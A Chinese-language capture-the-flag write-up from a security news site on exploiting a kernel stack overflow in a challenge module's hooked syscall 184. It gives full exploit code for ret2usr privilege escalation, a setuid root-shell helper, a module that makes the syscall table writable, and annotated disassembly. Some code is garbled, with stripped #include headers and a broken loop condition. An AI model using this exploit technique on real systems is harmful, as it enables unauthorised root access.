频道栏目
首页 > 资讯 > 系统安全 > 正文

Alictf linux exploit解题

15-03-29        来源:[db:作者]  
收藏   我要投稿

1.加载模块
sudo insmod moduledmesg看到有hook字样,猜测可能是模块劫持了系统调用,或者也可能是增加了系统调用

然后自己写了个程序来遍历系统调用,确认了没有增加系统调用然后自己又写了个模块来遍历sys_call_table和sys_ia32_call_table数组,确认是改动了系统调用.而且系统调用号是184

同时/proc/kallsyms中的符号表和sys_call_table[184],看到了new_kbof_test函数,也就是说,syscall(184),会执行到new_kbof_test函数

于是就分析new_kbof_test函数的功能和参数.2.反汇编rootme.ko,分析函数功能和参数(附件有详细的反汇编报告)

objdump -d rootme.ko > 1.txt  反编译代码段readelf -r rootme.ko > 2.txt     读重定位段的信息根据重定位段的信息2.txt和反汇编代码的结果1.txt,分析出了这两个函数的功能.new_kbof_test函数,接收两个参数,第一个是字符串地址,第二个是一个整数类型.从用户空间拷贝字符串到内核空间,然后调用了buffer_overflow_test函数.在buffer_overflow_test函数中,又复制相同的字符串到buffer_overflow_test的栈中,不过这个时候没有检测复制的长度,导致可以覆盖rip,函数返回时就会跳到我们覆盖的rip,利用开始.3.编写exploit计算rip的偏移地址:0x100+8*3  0x100是buffer_overflow_test函数的栈大小,8*3是因为push了三个8字节的寄存器.将rip覆盖成exploit中用户态中kernel_code函数的地址.

编译方法:
Default
gcc test.c -o test
gcc exp.c -o exp
./exp
来张提权成功的截图:

 
Exp.c:
 

#include
 
#include
 
#include
 
#include
 
#include
 
#include
 
#include
 
#include
 
typedef int __attribute__((regparm(1))) (* _commit_creds)(unsigned long cred);
 
typedef unsigned long __attribute__((regparm(1))) (* _prepare_kernel_cred)(unsigned long cred);
 
typedef long __attribute__((regparm(2))) (* _sys_chmod) (const char *filename, mode_t mode);
 
typedef long __attribute__((regparm(3))) (*_sys_chown) (const char *filename, uid_t user, gid_t group);
 
_commit_creds commit_creds;
 
_prepare_kernel_cred prepare_kernel_cred;
 
_sys_chmod sys_chmod;
 
_sys_chown sys_chown;
 
char *filename="/home/kexp/test";
 
char exp[0x120]={'A'};
 
int __attribute__((regparm(3)))
 
kernel_code()
 
{
 
  commit_creds(prepare_kernel_cred(0));
 
  sys_chown(filename,0,0);
 
  sys_chmod(filename,7777);
 
  return -1;
 
}
 
unsigned long
 
get_symbol(char *name)
 
{
 
    FILE *f;
 
    unsigned long addr;
 
    char dummy, sym[512];
 
    int ret = 0;
 
 
    f = fopen("/proc/kallsyms", "r");
 
    if (!f) {
 
        return 0;
 
    }
 
 
    while (ret != EOF) {
 
        ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
 
        if (ret == 0) {
 
            fscanf(f, "%s\n", sym);
 
            continue;
 
        }
 
        if (!strcmp(name, sym)) {
 
            printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
 
            fclose(f);
 
            return addr;

 
        }
 
    }
 
    fclose(f);
 
    return 0;
 
}
 
void main()
 
{
 
unsigned long *asd=&exp[0x118];
 
*asd=(unsigned long)kernel_code;
 
commit_creds = (_commit_creds) get_symbol("commit_creds");
 
prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
 
sys_chmod=(_sys_chmod) get_symbol("sys_chmod");
 
sys_chown=(_sys_chown) get_symbol("sys_chown");
 
if(sys_chmod==0||commit_creds==0||prepare_kernel_cred==0)
 
{
 
        printf("beiju\n");
 
}
 
syscall(184,exp,0x120);
 
}
Test.c:

#include
 
#include
 
#include
 
void main()
 
{
 
setuid(0);
 
system("/bin/sh");
 
}

Myopen.c:(编译Myopen.c的Makefile在下面)

#include
 
#include
 
#include
 
#include
 
#include
 
#include
 
#define GPF_DISABLE write_cr0(read_cr0() & (~ 0x10000))
 
#define GPF_ENABLE write_cr0(read_cr0() | 0x10000)
 
MODULE_LICENSE("GPL");
 
MODULE_AUTHOR("Franz Pletz");
 
MODULE_DESCRIPTION("for teh lulz!");
 
char *rollfile;
 
void **sys_call_table = (void **)0xffffffff8130e070; /* TODO: change */
 
module_param(rollfile, charp, 0000);
 
MODULE_PARM_DESC(rollfile, "music trolling file");
 
module_param(sys_call_table, ulong, 0000);
 
MODULE_PARM_DESC(sys_call_table, "address of the system call table");
 
void set_addr_rw(unsigned long addr) {
 
unsigned int level;
 
pte_t *pte = lookup_address(addr, &level);
 
if(pte->pte &~ _PAGE_RW) pte->pte |= _PAGE_RW;
 
}
 
void set_addr_ro(unsigned long addr) {
 
unsigned int level;
 
pte_t *pte = lookup_address(addr, &level);
 
pte->pte = pte->pte &~_PAGE_RW;
 
}
 
static int __init init_rickroll(void)
 
{
 
int i;
 
if(sys_call_table == NULL)
 
{
 
printk(KERN_ERR "Cannot find the system call address\n");
 
return -1; /* do not load */
 
} else {
 
printk(KERN_INFO "System call table found @ %lx\n", (unsigned long)sys_call_table);
 
}
 
set_addr_rw((unsigned long)sys_call_table);
 
GPF_DISABLE;
 
for(i=0;i298;i++)
 
{
 
printk(KERN_INFO "%d:%x\n",i,sys_call_table[i]);
 
}
 
return 0;
 
}
 
static void __exit exit_rickroll(void)
 
{
 
set_addr_ro((unsigned long)sys_call_table);
 
GPF_ENABLE;
 
}
 
module_init(init_rickroll);
 
module_exit(exit_rickroll);

编译Myopen.c的Makefile:

obj-m+=myopen.o
all:

make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd)
反汇编的结果(用ida看很简单就能看出来,不过当时不清楚ida):

0000000000000071 buffer_overflow_test>:
 
71:   41 54                   push   %r12
 
73:   ba 00 01 00 00          mov    $0x100,%edx
 
78:   41 89 f4                mov    %esi,%r12d   //%r12 buffer_overflow_test的第二个参数
 
7b:   31 f6                   xor    %esi,%esi
 
7d:   55                      push   %rbp
 
7e:   53                      push   %rbx
 
7f:   48 89 fb                mov    %rdi,%rbx    //rbx buffer_overflow_test的第一个参数


 
82:   48 81 ec 00 01 00 00    sub    $0x100,%rsp
 
89:   48 89 e7                mov    %rsp,%rdi
 
8c:   e8 00 00 00 00          callq  91 buffer_overflow_test+0x20> memset(rdi=栈顶,rsi=0,rdx=0x100) 初始化栈
 
91:   49 63 cc                movslq %r12d,%rcx   //%r12 移动的字符个数 buffer_overflow_test的第二个参数,没有检查长度,有漏洞
 
94:   48 89 e7                mov    %rsp,%rdi    //栈顶
 
97:   48 89 de                mov    %rbx,%rsi    //%rbx  buffer_overflow_test的第一个参数,内存地址,可控内容,
 
9a:   fc                      cld                //增址
 
9b:   f3 a4                   rep movsb %ds:(%rsi),%es:(%rdi)  可控的内容=>栈中,这里可以覆盖掉rip
 
9d:   48 81 c4 00 01 00 00    add    $0x100,%rsp
 
a4:   5b                      pop    %rbx
 
a5:   5d                      pop    %rbp
 
a6:   41 5c                   pop    %r12
 
a8:   c3                      retq


00000000000000a9 new_kbof_test>:
 
a9:   41 54                   push   %r12
 
ab:   ba 00 01 00 00          mov    $0x100,%edx
 
b0:   49 89 fc                mov    %rdi,%r12
 
b3:   55                      push   %rbp
 
b4:   89 f5                   mov    %esi,%ebp
 
b6:   31 f6                   xor    %esi,%esi
 
b8:   53                      push   %rbx
 
b9:   48 81 ec 00 01 00 00    sub    $0x100,%rsp
 
c0:   48 89 e7                mov    %rsp,%rdi
 
c3:   e8 00 00 00 00          callq  c8 new_kbof_test+0x1f> memset(rdi=rsp,esi=0,edx=0x100) 刚好栈是0x100,初始化栈为0.
 
c8:   48 63 fd                movslq %ebp,%rdi   //???
 
cb:   be d0 00 00 00          mov    $0xd0,%esi
 
d0:   e8 00 00 00 00          callq  d5 new_kbof_test+0x2c> memset(rdi=(传入的第二个参数  长度),esi=0xd0) 分配内存0xd0
 
d5:   48 85 c0                test   %rax,%rax
 
d8:   48 89 c3                mov    %rax,%rbx //kmalloc的返回值,如果成功rdi,不成功返回NULL..
 
db:   74 14                   je     f1 new_kbof_test+0x48>


 
dd:   89 ea                   mov    %ebp,%edx
 
df:   4c 89 e6                mov    %r12,%rsi
 
e2:   48 89 c7                mov    %rax,%rdi
 
e5:   e8 00 00 00 00          callq  ea new_kbof_test+0x41>  copy_from_user (rdi=kmalloc返回值,rsi=传入的第一个参数,edx=传入的第二个参数) //
 
ea:   48 85 c0                test   %rax,%rax      //copy_from_user 成功返回0,否则就打印失败信息
 
//?????????确认copy_from_user的工作方式    copy_from_user(to,from.length)
 
ed:   74 1f                   je     10e new_kbof_test+0x65>
 
ef:   eb 09                   jmp    fa new_kbof_test+0x51>
 
f1:   48 c7 c7 00 00 00 00    mov    $0x0,%rdi   //.rodata.str1.1 + 2d  kmalloc failed
 
 
f8:   eb 07                   jmp    101 new_kbof_test+0x58>
 
fa:   48 c7 c7 00 00 00 00    mov    $0x0,%rdi            //.rodata.str1.1 + 3e copy data from user fail
 
 
101:   31 c0                   xor    %eax,%eax
 
103:   e8 00 00 00 00          callq  108 new_kbof_test+0x5f> printk
 
108:   48 83 c8 ff             or     $0xffffffffffffffff,%rax
 
10c:   eb 0c                   jmp    11a new_kbof_test+0x71>
 
10e:   89 ee                   mov    %ebp,%esi                //
 
110:   48 89 df                mov    %rbx,%rdi
 
113:   e8 00 00 00 00          callq  118 new_kbof_test+0x6f> buffer_over_flow(rdi=kmalloc返回值,rsi=传入的第二个参数)
 
118:   31 c0                   xor    %eax,%eax
 
11a:   48 81 c4 00 01 00 00       add    $0x100,%rsp
 
121:   5b                      pop    %rbx
 
122:   5d                      pop    %rbp
 
123:   41 5c                   pop    %r12
 
125:   c3                      retq
 

 

相关TAG标签
上一篇:利用Instagram API制造“以假乱真”的恶意分享链接
下一篇:Linux提权的一个问题:/bin/bash^M: bad interpreter: No such file or directory
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站